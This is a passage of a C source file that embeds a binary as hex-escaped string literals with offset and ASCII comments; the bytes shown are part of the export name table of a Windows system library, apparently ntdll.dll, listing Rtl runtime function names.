\"\\x44\\x65\\x6C\\x65\\x74\\x65\\x4E\\x6F\\x53\\x70\\x6C\\x61\\x79\\x00\\x52\\x74\"   //DeleteNoSplay.Rt\n/* 00B7E0 */   \"\\x6C\\x44\\x65\\x6C\\x65\\x74\\x65\\x4F\\x77\\x6E\\x65\\x72\\x73\\x52\\x61\\x6E\"   //lDeleteOwnersRan\n/* 00B800 */   \"\\x67\\x65\\x73\\x00\\x52\\x74\\x6C\\x44\\x65\\x6C\\x65\\x74\\x65\\x52\\x61\\x6E\"   //ges.RtlDeleteRan\n/* 00B820 */   \"\\x67\\x65\\x00\\x52\\x74\\x6C\\x44\\x65\\x6C\\x65\\x74\\x65\\x52\\x65\\x67\\x69\"   //ge.RtlDeleteRegi\n/* 00B840 */   \"\\x73\\x74\\x72\\x79\\x56\\x61\\x6C\\x75\\x65\\x00\\x52\\x74\\x6C\\x44\\x65\\x6C\"   //stryValue.RtlDel\n/* 00B860 */   \"\\x65\\x74\\x65\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x00\\x52\\x74\\x6C\\x44\"   //eteResource.RtlD\n/* 00B880 */   \"\\x65\\x6C\\x65\\x74\\x65\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x4F\\x62\\x6A\"   //eleteSecurityObj\n/* 00B8A0 */   \"\\x65\\x63\\x74\\x00\\x52\\x74\\x6C\\x44\\x65\\x6C\\x65\\x74\\x65\\x54\\x69\\x6D\"   //ect.RtlDeleteTim\n/* 00B8C0 */   \"\\x65\\x72\\x00\\x52\\x74\\x6C\\x44\\x65\\x6C\\x65\\x74\\x65\\x54\\x69\\x6D\\x65\"   //er.RtlDeleteTime\n/* 00B8E0 */   \"\\x72\\x51\\x75\\x65\\x75\\x65\\x00\\x52\\x74\\x6C\\x44\\x65\\x6C\\x65\\x74\\x65\"   //rQueue.RtlDelete\n/* 00B900 */   \"\\x54\\x69\\x6D\\x65\\x72\\x51\\x75\\x65\\x75\\x65\\x45\\x78\\x00\\x52\\x74\\x6C\"   //TimerQueueEx.Rtl\n/* 00B920 */   \"\\x44\\x65\\x72\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x57\\x61\\x69\\x74\\x00\\x52\"   //DeregisterWait.R\n/* 00B940 */   \"\\x74\\x6C\\x44\\x65\\x72\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x57\\x61\\x69\\x74\"   //tlDeregisterWait\n/* 00B960 */   \"\\x45\\x78\\x00\\x52\\x74\\x6C\\x44\\x65\\x73\\x74\\x72\\x6F\\x79\\x41\\x74\\x6F\"   //Ex.RtlDestroyAto\n/* 00B980 */   \"\\x6D\\x54\\x61\\x62\\x6C\\x65\\x00\\x52\\x74\\x6C\\x44\\x65\\x73\\x74\\x72\\x6F\"   //mTable.RtlDestro\n/* 00B9A0 */   \"\\x79\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x00\\x52\\x74\\x6C\"   //yEnvironment.Rtl\n/* 00B9C0 */   \"\\x44\\x65\\x73\\x74\\x72\\x6F\\x79\\x48\\x61\\x6E\\x64\\x6C\\x65\\x54\\x61\\x62\"   //DestroyHandleTab\n/* 00B9E0 */   \"\\x6C\\x65\\x00\\x52\\x74\\x6C\\x44\\x65\\x73\\x74\\x72\\x6F\\x79\\x48\\x65\\x61\"   //le.RtlDestroyHea\n/* 00BA00 */   \"\\x70\\x00\\x52\\x74\\x6C\\x44\\x65\\x73\\x74\\x72\\x6F\\x79\\x50\\x72\\x6F\\x63\"   //p.RtlDestroyProc\n/* 00BA20 */   \"\\x65\\x73\\x73\\x50\\x61\\x72\\x61\\x6D\\x65\\x74\\x65\\x72\\x73\\x00\\x52\\x74\"   //essParameters.Rt\n/* 00BA40 */   \"\\x6C\\x44\\x65\\x73\\x74\\x72\\x6F\\x79\\x51\\x75\\x65\\x72\\x79\\x44\\x65\\x62\"   //lDestroyQueryDeb\n/* 00BA60 */   \"\\x75\\x67\\x42\\x75\\x66\\x66\\x65\\x72\\x00\\x52\\x74\\x6C\\x44\\x65\\x74\\x65\"   //ugBuffer.RtlDete\n/* 00BA80 */   \"\\x72\\x6D\\x69\\x6E\\x65\\x44\\x6F\\x73\\x50\\x61\\x74\\x68\\x4E\\x61\\x6D\\x65\"   //rmineDosPathName\n/* 00BAA0 */   \"\\x54\\x79\\x70\\x65\\x5F\\x55\\x00\\x52\\x74\\x6C\\x44\\x6C\\x6C\\x53\\x68\\x75\"   //Type_U.RtlDllShu\n/* 00BAC0 */   \"\\x74\\x64\\x6F\\x77\\x6E\\x49\\x6E\\x50\\x72\\x6F\\x67\\x72\\x65\\x73\\x73\\x00\"   //tdownInProgress.\n/* 00BAE0 */   \"\\x52\\x74\\x6C\\x44\\x6E\\x73\\x48\\x6F\\x73\\x74\\x4E\\x61\\x6D\\x65\\x54\\x6F\"   //RtlDnsHostNameTo\n/* 00BB00 */   \"\\x43\\x6F\\x6D\\x70\\x75\\x74\\x65\\x72\\x4E\\x61\\x6D\\x65\\x00\\x52\\x74\\x6C\"   //ComputerName.Rtl\n/* 00BB20 */   \"\\x44\\x6F\\x65\\x73\\x46\\x69\\x6C\\x65\\x45\\x78\\x69\\x73\\x74\\x73\\x5F\\x55\"   //DoesFileExists_U\n/* 00BB40 */   \"\\x00\\x52\\x74\\x6C\\x44\\x6F\\x73\\x41\\x70\\x70\\x6C\\x79\\x46\\x69\\x6C\\x65\"   //.RtlDosApplyFile\n/* 00BB60 */   \"\\x49\\x73\\x6F\\x6C\\x61\\x74\\x69\\x6F\\x6E\\x52\\x65\\x64\\x69\\x72\\x65\\x63\"   //IsolationRedirec\n/* 00BB80 */   \"\\x74\\x69\\x6F\\x6E\\x5F\\x55\\x73\\x74\\x72\\x00\\x52\\x74\\x6C\\x44\\x6F\\x73\"   //tion_Ustr.RtlDos\n/* 00BBA0 */   \"\\x50\\x61\\x74\\x68\\x4E\\x61\\x6D\\x65\\x54\\x6F\\x4E\\x74\\x50\\x61\\x74\\x68\"   //PathNameToNtPath\n/* 00BBC0 */   \"\\x4E\\x61\\x6D\\x65\\x5F\\x55\\x00\\x52\\x74\\x6C\\x44\\x6F\\x73\\x53\\x65\\x61\"   //Name_U.RtlDosSea\n/* 00BBE0 */   \"\\x72\\x63\\x68\\x50\\x61\\x74\\x68\\x5F\\x55\\x00\\x52\\x74\\x6C\\x44\\x6F\\x73\"   //rchPath_U.RtlDos\n/* 00BC00 */   \"\\x53\\x65\\x61\\x72\\x63\\x68\\x50\\x61\\x74\\x68\\x5F\\x55\\x73\\x74\\x72\\x00\"   //SearchPath_Ustr.\n/* 00BC20 */   \"\\x52\\x74\\x6C\\x44\\x6F\\x77\\x6E\\x63\\x61\\x73\\x65\\x55\\x6E\\x69\\x63\\x6F\"   //RtlDowncaseUnico\n/* 00BC40 */   \"\\x64\\x65\\x43\\x68\\x61\\x72\\x00\\x52\\x74\\x6C\\x44\\x6F\\x77\\x6E\\x63\\x61\"   //deChar.RtlDownca\n/* 00BC60 */   \"\\x73\\x65\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\"   //seUnicodeString.\n/* 00BC80 */   \"\\x52\\x74\\x6C\\x44\\x75\\x6D\\x70\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x00\"   //RtlDumpResource.\n/* 00BCA0 */   \"\\x52\\x74\\x6C\\x44\\x75\\x70\\x6C\\x69\\x63\\x61\\x74\\x65\\x55\\x6E\\x69\\x63\"   //RtlDuplicateUnic\n/* 00BCC0 */   \"\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\\x45\\x6D\\x70\"   //odeString.RtlEmp\n/* 00BCE0 */   \"\\x74\\x79\\x41\\x74\\x6F\\x6D\\x54\\x61\\x62\\x6C\\x65\\x00\\x52\\x74\\x6C\\x45\"   //tyAtomTable.RtlE\n/* 00BD00 */   \"\\x6E\\x61\\x62\\x6C\\x65\\x45\\x61\\x72\\x6C\\x79\\x43\\x72\\x69\\x74\\x69\\x63\"   //nableEarlyCritic\n/* 00BD20 */   \"\\x61\\x6C\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x45\\x76\\x65\\x6E\\x74\\x43\\x72\"   //alSectionEventCr\n/* 00BD40 */   \"\\x65\\x61\\x74\\x69\\x6F\\x6E\\x00\\x52\\x74\\x6C\\x45\\x6E\\x63\\x6F\\x64\\x65\"   //eation.RtlEncode\n/* 00BD60 */   \"\\x50\\x6F\\x69\\x6E\\x74\\x65\\x72\\x00\\x52\\x74\\x6C\\x45\\x6E\\x63\\x6F\\x64\"   //Pointer.RtlEncod\n/* 00BD80 */   \"\\x65\\x53\\x79\\x73\\x74\\x65\\x6D\\x50\\x6F\\x69\\x6E\\x74\\x65\\x72\\x00\\x52\"   //eSystemPointer.R\n/* 00BDA0 */   \"\\x74\\x6C\\x45\\x6E\\x6C\\x61\\x72\\x67\\x65\\x64\\x49\\x6E\\x74\\x65\\x67\\x65\"   //tlEnlargedIntege\n/* 00BDC0 */   \"\\x72\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x79\\x00\\x52\\x74\\x6C\\x45\\x6E\\x6C\"   //rMultiply.RtlEnl\n/* 00BDE0 */   \"\\x61\\x72\\x67\\x65\\x64\\x55\\x6E\\x73\\x69\\x67\\x6E\\x65\\x64\\x44\\x69\\x76\"   //argedUnsignedDiv\n/* 00BE00 */   \"\\x69\\x64\\x65\\x00\\x52\\x74\\x6C\\x45\\x6E\\x6C\\x61\\x72\\x67\\x65\\x64\\x55\"   //ide.RtlEnlargedU\n/* 00BE20 */   \"\\x6E\\x73\\x69\\x67\\x6E\\x65\\x64\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x79\\x00\"   //nsignedMultiply.\n/* 00BE40 */   \"\\x52\\x74\\x6C\\x45\\x6E\\x74\\x65\\x72\\x43\\x72\\x69\\x74\\x69\\x63\\x61\\x6C\"   //RtlEnterCritical\n/* 00BE60 */   \"\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x00\\x52\\x74\\x6C\\x45\\x6E\\x75\\x6D\\x50\"   //Section.RtlEnumP\n/* 00BE80 */   \"\\x72\\x6F\\x63\\x65\\x73\\x73\\x48\\x65\\x61\\x70\\x73\\x00\\x52\\x74\\x6C\\x45\"   //rocessHeaps.RtlE\n/* 00BEA0 */   \"\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\\x65\\x47\\x65\\x6E\\x65\\x72\\x69\\x63\\x54\"   //numerateGenericT\n/* 00BEC0 */   \"\\x61\\x62\\x6C\\x65\\x00\\x52\\x74\\x6C\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\"   //able.RtlEnumerat\n/* 00BEE0 */   \"\\x65\\x47\\x65\\x6E\\x65\\x72\\x69\\x63\\x54\\x61\\x62\\x6C\\x65\\x41\\x76\\x6C\"   //eGenericTableAvl\n/* 00BF00 */   \"\\x00\\x52\\x74\\x6C\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\\x65\\x47\\x65\\x6E\"   //.RtlEnumerateGen\n/* 00BF20 */   \"\\x65\\x72\\x69\\x63\\x54\\x61\\x62\\x6C\\x65\\x4C\\x69\\x6B\\x65\\x41\\x44\\x69\"   //ericTableLikeADi\n/* 00BF40 */   \"\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x00\\x52\\x74\\x6C\\x45\\x6E\\x75\\x6D\\x65\"   //rectory.RtlEnume\n/* 00BF60 */   \"\\x72\\x61\\x74\\x65\\x47\\x65\\x6E\\x65\\x72\\x69\\x63\\x54\\x61\\x62\\x6C\\x65\"   //rateGenericTable\n/* 00BF80 */   \"\\x57\\x69\\x74\\x68\\x6F\\x75\\x74\\x53\\x70\\x6C\\x61\\x79\\x69\\x6E\\x67\\x00\"   //WithoutSplaying.\n/* 00BFA0 */   \"\\x52\\x74\\x6C\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\\x65\\x47\\x65\\x6E\\x65\"   //RtlEnumerateGene\n/* 00BFC0 */   \"\\x72\\x69\\x63\\x54\\x61\\x62\\x6C\\x65\\x57\\x69\\x74\\x68\\x6F\\x75\\x74\\x53\"   //ricTableWithoutS\n/* 00BFE0 */   \"\\x70\\x6C\\x61\\x79\\x69\\x6E\\x67\\x41\\x76\\x6C\\x00\\x52\\x74\\x6C\\x45\\x71\"   //playingAvl.RtlEq\n/* 00C000 */   \"\\x75\\x61\\x6C\\x43\\x6F\\x6D\\x70\\x75\\x74\\x65\\x72\\x4E\\x61\\x6D\\x65\\x00\"   //ualComputerName.\n/* 00C020 */   \"\\x52\\x74\\x6C\\x45\\x71\\x75\\x61\\x6C\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x4E\\x61\"   //RtlEqualDomainNa\n/* 00C040 */   \"\\x6D\\x65\\x00\\x52\\x74\\x6C\\x45\\x71\\x75\\x61\\x6C\\x4C\\x75\\x69\\x64\\x00\"   //me.RtlEqualLuid.\n/* 00C060 */   \"\\x52\\x74\\x6C\\x45\\x71\\x75\\x61\\x6C\\x50\\x72\\x65\\x66\\x69\\x78\\x53\\x69\"   //RtlEqualPrefixSi\n/* 00C080 */   \"\\x64\\x00\\x52\\x74\\x6C\\x45\\x71\\x75\\x61\\x6C\\x53\\x69\\x64\\x00\\x52\\x74\"   //d.RtlEqualSid.Rt\n/* 00C0A0 */   \"\\x6C\\x45\\x71\\x75\\x61\\x6C\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\"   //lEqualString.Rtl\n/* 00C0C0 */   \"\\x45\\x71\\x75\\x61\\x6C\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\"   //EqualUnicodeStri\n/* 00C0E0 */   \"\\x6E\\x67\\x00\\x52\\x74\\x6C\\x45\\x72\\x61\\x73\\x65\\x55\\x6E\\x69\\x63\\x6F\"   //ng.RtlEraseUnico\n/* 00C100 */   \"\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\\x45\\x78\\x69\\x74\"   //deString.RtlExit\n/* 00C120 */   \"\\x55\\x73\\x65\\x72\\x54\\x68\\x72\\x65\\x61\\x64\\x00\\x52\\x74\\x6C\\x45\\x78\"   //UserThread.RtlEx\n/* 00C140 */   \"\\x70\\x61\\x6E\\x64\\x45\\x6E\\x76\\x69\\x72\\x6F\\x6E\\x6D\\x65\\x6E\\x74\\x53\"   //pandEnvironmentS\n/* 00C160 */   \"\\x74\\x72\\x69\\x6E\\x67\\x73\\x5F\\x55\\x00\\x52\\x74\\x6C\\x45\\x78\\x74\\x65\"   //trings_U.RtlExte\n/* 00C180 */   \"\\x6E\\x64\\x48\\x65\\x61\\x70\\x00\\x52\\x74\\x6C\\x45\\x78\\x74\\x65\\x6E\\x64\"   //ndHeap.RtlExtend\n/* 00C1A0 */   \"\\x65\\x64\\x49\\x6E\\x74\\x65\\x67\\x65\\x72\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\"   //edIntegerMultipl\n/* 00C1C0 */   \"\\x79\\x00\\x52\\x74\\x6C\\x45\\x78\\x74\\x65\\x6E\\x64\\x65\\x64\\x4C\\x61\\x72\"   //y.RtlExtendedLar\n/* 00C1E0 */   \"\\x67\\x65\\x49\\x6E\\x74\\x65\\x67\\x65\\x72\\x44\\x69\\x76\\x69\\x64\\x65\\x00\"   //geIntegerDivide.\n/* 00C200 */   \"\\x52\\x74\\x6C\\x45\\x78\\x74\\x65\\x6E\\x64\\x65\\x64\\x4D\\x61\\x67\\x69\\x63\"   //RtlExtendedMagic\n/* 00C220 */   \"\\x44\\x69\\x76\\x69\\x64\\x65\\x00\\x52\\x74\\x6C\\x46\\x69\\x6C\\x6C\\x4D\\x65\"   //Divide.RtlFillMe\n/* 00C240 */   \"\\x6D\\x6F\\x72\\x79\\x00\\x52\\x74\\x6C\\x46\\x69\\x6C\\x6C\\x4D\\x65\\x6D\\x6F\"   //mory.RtlFillMemo\n/* 00C260 */   \"\\x72\\x79\\x55\\x6C\\x6F\\x6E\\x67\\x00\\x52\\x74\\x6C\\x46\\x69\\x6E\\x61\\x6C\"   //ryUlong.RtlFinal\n/* 00C280 */   \"\\x52\\x65\\x6C\\x65\\x61\\x73\\x65\\x4F\\x75\\x74\\x4F\\x66\\x50\\x72\\x6F\\x63\"   //ReleaseOutOfProc\n/* 00C2A0 */   \"\\x65\\x73\\x73\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x53\\x74\\x72\\x65\\x61\\x6D\\x00\"   //essMemoryStream.\n/* 00C2C0 */   \"\\x52\\x74\\x6C\\x46\\x69\\x6E\\x64\\x41\\x63\\x74\\x69\\x76\\x61\\x74\\x69\\x6F\"   //RtlFindActivatio\n/* 00C2E0 */   \"\\x6E\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x53\\x65\\x63\\x74\\x69\\x6F\\x6E\\x47\"   //nContextSectionG\n/* 00C300 */   \"\\x75\\x69\\x64\\x00\\x52\\x74\\x6C\\x46\\x69\\x6E\\x64\\x41\\x63\\x74\\x69\\x76\"   //uid.RtlFindActiv\n/* 00C320 */   \"\\x61\\x74\\x69\\x6F\\x6E\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x53\\x65\\x63\\x74\"   //ationContextSect\n/* 00C340 */   \"\\x69\\x6F\\x6E\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\\x46\\x69\\x6E\"   //ionString.RtlFin\n/* 00C360 */   \"\\x64\\x43\\x68\\x61\\x72\\x49\\x6E\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\"   //dCharInUnicodeSt\n/* 00C380 */   \"\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\\x46\\x69\\x6E\\x64\\x43\\x6C\\x65\\x61\"   //ring.RtlFindClea\n/* 00C3A0 */   \"\\x72\\x42\\x69\\x74\\x73\\x00\\x52\\x74\\x6C\\x46\\x69\\x6E\\x64\\x43\\x6C\\x65\"   //rBits.RtlFindCle\n/* 00C3C0 */   \"\\x61\\x72\\x42\\x69\\x74\\x73\\x41\\x6E\\x64\\x53\\x65\\x74\\x00\\x52\\x74\\x6C\"   //arBitsAndSet.Rtl\n/* 00C3E0 */   \"\\x46\\x69\\x6E\\x64\\x43\\x6C\\x65\\x61\\x72\\x52\\x75\\x6E\\x73\\x00\\x52\\x74\"   //FindClearRuns.Rt\n/* 00C400 */   \"\\x6C\\x46\\x69\\x6E\\x64\\x4C\\x61\\x73\\x74\\x42\\x61\\x63\\x6B\\x77\\x61\\x72\"   //lFindLastBackwar\n/* 00C420 */   \"\\x64\\x52\\x75\\x6E\\x43\\x6C\\x65\\x61\\x72\\x00\\x52\\x74\\x6C\\x46\\x69\\x6E\"   //dRunClear.RtlFin\n/* 00C440 */   \"\\x64\\x4C\\x65\\x61\\x73\\x74\\x53\\x69\\x67\\x6E\\x69\\x66\\x69\\x63\\x61\\x6E\"   //dLeastSignifican\n/* 00C460 */   \"\\x74\\x42\\x69\\x74\\x00\\x52\\x74\\x6C\\x46\\x69\\x6E\\x64\\x4C\\x6F\\x6E\\x67\"   //tBit.RtlFindLong\n/* 00C480 */   \"\\x65\\x73\\x74\\x52\\x75\\x6E\\x43\\x6C\\x65\\x61\\x72\\x00\\x52\\x74\\x6C\\x46\"   //estRunClear.RtlF\n/* 00C4A0 */   \"\\x69\\x6E\\x64\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x00\\x52\\x74\\x6C\\x46\\x69\"   //indMessage.RtlFi\n/* 00C4C0 */   \"\\x6E\\x64\\x4D\\x6F\\x73\\x74\\x53\\x69\\x67\\x6E\\x69\\x66\\x69\\x63\\x61\\x6E\"   //ndMostSignifican\n/* 00C4E0 */   \"\\x74\\x42\\x69\\x74\\x00\\x52\\x74\\x6C\\x46\\x69\\x6E\\x64\\x4E\\x65\\x78\\x74\"   //tBit.RtlFindNext\n/* 00C500 */   \"\\x46\\x6F\\x72\\x77\\x61\\x72\\x64\\x52\\x75\\x6E\\x43\\x6C\\x65\\x61\\x72\\x00\"   //ForwardRunClear.\n/* 00C520 */   \"\\x52\\x74\\x6C\\x46\\x69\\x6E\\x64\\x52\\x61\\x6E\\x67\\x65\\x00\\x52\\x74\\x6C\"   //RtlFindRange.Rtl\n/* 00C540 */   \"\\x46\\x69\\x6E\\x64\\x53\\x65\\x74\\x42\\x69\\x74\\x73\\x00\\x52\\x74\\x6C\\x46\"   //FindSetBits.RtlF\n/* 00C560 */   \"\\x69\\x6E\\x64\\x53\\x65\\x74\\x42\\x69\\x74\\x73\\x41\\x6E\\x64\\x43\\x6C\\x65\"   //indSetBitsAndCle\n/* 00C580 */   \"\\x61\\x72\\x00\\x52\\x74\\x6C\\x46\\x69\\x72\\x73\\x74\\x45\\x6E\\x74\\x72\\x79\"   //ar.RtlFirstEntry\n/* 00C5A0 */   \"\\x53\\x4C\\x69\\x73\\x74\\x00\\x52\\x74\\x6C\\x46\\x69\\x72\\x73\\x74\\x46\\x72\"   //SList.RtlFirstFr\n/* 00C5C0 */   \"\\x65\\x65\\x41\\x63\\x65\\x00\\x52\\x74\\x6C\\x46\\x6C\\x75\\x73\\x68\\x53\\x65\"   //eeAce.RtlFlushSe\n/* 00C5E0 */   \"\\x63\\x75\\x72\\x65\\x4D\\x65\\x6D\\x6F\\x72\\x79\\x43\\x61\\x63\\x68\\x65\\x00\"   //cureMemoryCache.\n/* 00C600 */   \"\\x52\\x74\\x6C\\x46\\x6F\\x72\\x6D\\x61\\x74\\x43\\x75\\x72\\x72\\x65\\x6E\\x74\"   //RtlFormatCurrent\n/* 00C620 */   \"\\x55\\x73\\x65\\x72\\x4B\\x65\\x79\\x50\\x61\\x74\\x68\\x00\\x52\\x74\\x6C\\x46\"   //UserKeyPath.RtlF\n/* 00C640 */   \"\\x6F\\x72\\x6D\\x61\\x74\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x00\\x52\\x74\\x6C\"   //ormatMessage.Rtl\n/* 00C660 */   \"\\x46\\x72\\x65\\x65\\x41\\x6E\\x73\\x69\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\"   //FreeAnsiString.R\n/* 00C680 */   \"\\x74\\x6C\\x46\\x72\\x65\\x65\\x48\\x61\\x6E\\x64\\x6C\\x65\\x00\\x52\\x74\\x6C\"   //tlFreeHandle.Rtl\n/* 00C6A0 */   \"\\x46\\x72\\x65\\x65\\x48\\x65\\x61\\x70\\x00\\x52\\x74\\x6C\\x46\\x72\\x65\\x65\"   //FreeHeap.RtlFree\n/* 00C6C0 */   \"\\x4F\\x65\\x6D\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\\x46\\x72\\x65\"   //OemString.RtlFre\n/* 00C6E0 */   \"\\x65\\x52\\x61\\x6E\\x67\\x65\\x4C\\x69\\x73\\x74\\x00\\x52\\x74\\x6C\\x46\\x72\"   //eRangeList.RtlFr\n/* 00C700 */   \"\\x65\\x65\\x53\\x69\\x64\\x00\\x52\\x74\\x6C\\x46\\x72\\x65\\x65\\x54\\x68\\x72\"   //eeSid.RtlFreeThr\n/* 00C720 */   \"\\x65\\x61\\x64\\x41\\x63\\x74\\x69\\x76\\x61\\x74\\x69\\x6F\\x6E\\x43\\x6F\\x6E\"   //eadActivationCon\n/* 00C740 */   \"\\x74\\x65\\x78\\x74\\x53\\x74\\x61\\x63\\x6B\\x00\\x52\\x74\\x6C\\x46\\x72\\x65\"   //textStack.RtlFre\n/* 00C760 */   \"\\x65\\x55\\x6E\\x69\\x63\\x6F\\x64\\x65\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\"   //eUnicodeString.R\n/* 00C780 */   \"\\x74\\x6C\\x46\\x72\\x65\\x65\\x55\\x73\\x65\\x72\\x54\\x68\\x72\\x65\\x61\\x64\"   //tlFreeUserThread\n/* 00C7A0 */   \"\\x53\\x74\\x61\\x63\\x6B\\x00\\x52\\x74\\x6C\\x47\\x55\\x49\\x44\\x46\\x72\\x6F\"   //Stack.RtlGUIDFro\n/* 00C7C0 */   \"\\x6D\\x53\\x74\\x72\\x69\\x6E\\x67\\x00\\x52\\x74\\x6C\\x47\\x65\\x6E\\x65\\x72\"   //mString.RtlGener\n/* 00C7E0 */   \"\\x61\\x74\\x65\\x38\\x64\\x6F\\x74\\x33\\x4E\\x61\\x6D\\x65\\x00\\x52\\x74\\x6C\"   //ate8dot3Name.Rtl\n/* 00C800 */   \"\\x47\\x65\\x74\\x41\\x63\\x65\\x00\\x52\\x74\\x6C\\x47\\x65\\x74\\x41\\x63\\x74\"   //GetAce.RtlGetAct\n/* 00C820 */   \"\\x69\\x76\\x65\\x41\\x63\\x74\\x69\\x76\\x61\\x74\\x69\\x6F\\x6E\\x43\\x6F\\x6E\"   //iveActivationCon\n/* 00C840 */   \"\\x74\\x65\\x78\\x74\\x00\\x52\\x74\\x6C\\x47\\x65\\x74\\x43\\x61\\x6C\\x6C\\x65\"   //text.RtlGetCalle\n/* 00C860 */   \"\\x72\\x73\\x41\\x64\\x64\\x72\\x65\\x73\\x73\\x00\\x52\\x74\\x6C\\x47\\x65\\x74\"   //rsAddress.RtlGet\n/* 00C880 */   \"\\x43\\x6F\\x6D\\x70\\x72\\x65\\x73\\x73\\x69\\x6F\\x6E\\x57\\x6F\\x72\\x6B\\x53\"   //CompressionWorkS\n/* 00C8A0 */   \"\\x70\\x61\\x63\\x65\\x53\\x69\\x7A\\x65\\x00\\x52\\x74\\x6C\\x47\\x65\\x74\\x43\"   //paceSize.RtlGetC\n/* 00C8C0 */   \"\\x6F\\x6E\\x74\\x72\\x6F\\x6C\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\"   //ontrolSecurityDe\n/* 00C8E0 */   \"\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x00\\x52\\x74\\x6C\\x47\\x65\\x74\\x43\"   //scriptor.RtlGetC\n/* 00C900 */   \"\\x75\\x72\\x72\\x65\\x6E\\x74\\x44\\x69\\x72\\x65\\x63\\x74\\x6F\\x72\\x79\\x5F\"   //urrentDirectory_\n/* 00C920 */   \"\\x55\\x00\\x52\\x74\\x6C\\x47\\x65\\x74\\x43\\x75\\x72\\x72\\x65\\x6E\\x74\\x50\"   //U.RtlGetCurrentP\n/* 00C940 */   \"\\x65\\x62\\x00\\x52\\x74\\x6C\\x47\\x65\\x74\\x44\\x61\\x63\\x6C\\x53\\x65\\x63\"   //eb.RtlGetDaclSec\n/* 00C960 */   \"\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x00\"   //urityDescriptor.\n/* 00C980 */   \"\\x52\\x74\\x6C\\x47\\x65\\x74\\x45\\x6C\\x65\\x6D\\x65\\x6E\\x74\\x47\\x65\\x6E\"   //RtlGetElementGen\n/* 00C9A0 */   \"\\x65\\x72\\x69\\x63\\x54\\x61\\x62\\x6C\\x65\\x00\\x52\\x74\\x6C\\x47\\x65\\x74\"   //ericTable.RtlGet\n/* 00C9C0 */   \"\\x45\\x6C\\x65\\x6D\\x65\\x6E\\x74\\x47\\x65\\x6E\\x65\\x72\\x69\\x63\\x54\\x61\"   //ElementGenericTa\n/* 00C9E0 */   \"\\x62\\x6C\\x65\\x41\\x76\\x6C\\x00\\x52\\x74\\x6C\\x47\\x65\\x74\\x46\\x69\\x72\"   //bleAvl.RtlGetFir\n/* 00CA00 */   \"\\x73\\x74\\x52\\x61\\x6E\\x67\\x65\\x00\\x52\\x74\\x6C\\x47\\x65\\x74\\x46\\x72\"   //stRange.RtlGetFr\n/* 00CA20 */   \"\\x61\\x6D\\x65\\x00\\x52\\x74\\x6C\\x47\\x65\\x74\\x46\\x75\\x6C\\x6C\\x50\\x61\"   //ame.RtlGetFullPa\n/* 00CA40 */   \"\\x74\\x68\\x4E\\x61\\x6D\\x65\\x5F\\x55\\x00\\x52\\x74\\x6C\\x47\\x65\\x74\\x47\"   //thName_U.RtlGetG\n/* 00CA60 */   \"\\x72\\x6F\\x75\\x70\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\"   //roupSecurityDesc\n/* 00CA80 */   \"\\x72\\x69\\x70\\x74\\x6F\\x72\\x00\\x52\\x74\\x6C\\x47\\x65\\x74\\x4C\\x61\\x73\"   //riptor.RtlGetLas\n/* 00CAA0 */   \"\\x74\\x4E\\x74\\x53\\x74\\x61\\x74\\x75\\x73\\x00\\x52\\x74\\x6C\\x47\\x65\\x74\"   //tNtStatus.RtlGet\n/* 00CAC0 */   \"\\x4C\\x61\\x73\\x74\\x57\\x69\\x6E\\x33\\x32\\x45\\x72\\x72\\x6F\\x72\\x00\\x52\"   //LastWin32Error.R\n/* 00CAE0 */   \"\\x74\\x6C\\x47\\x65\\x74\\x4C\\x65\\x6E\\x67\\x74\\x68\\x57\\x69\\x74\\x68\\x6F\"   //tlGetLengthWitho\n/* 00CB00 */   \"\\x75\\x74\\x4C\\x61\\x73\\x74\\x46\\x75\\x6C\\x6C\\x44\\x6F\\x73\\x4F\\x72\\x4E\"   //utLastFullDosOrN\n/* 00CB20 */   \"\\x74\\x50\\x61\\x74\\x68\\x45\\x6C\\x65\\x6D\\x65\\x6E\\x74\\x00\\x52\\x74\\x6C\"   //tPathElement.Rtl\n/* 00CB40 */   \"\\x47\\x65\\x74\\x4C\\x65\\x6E\\x67\\x74\\x68\\x57\\x69\\x74\\x68\\x6F\\x75\\x74\"   //GetLengthWithout\n/* 00CB60 */  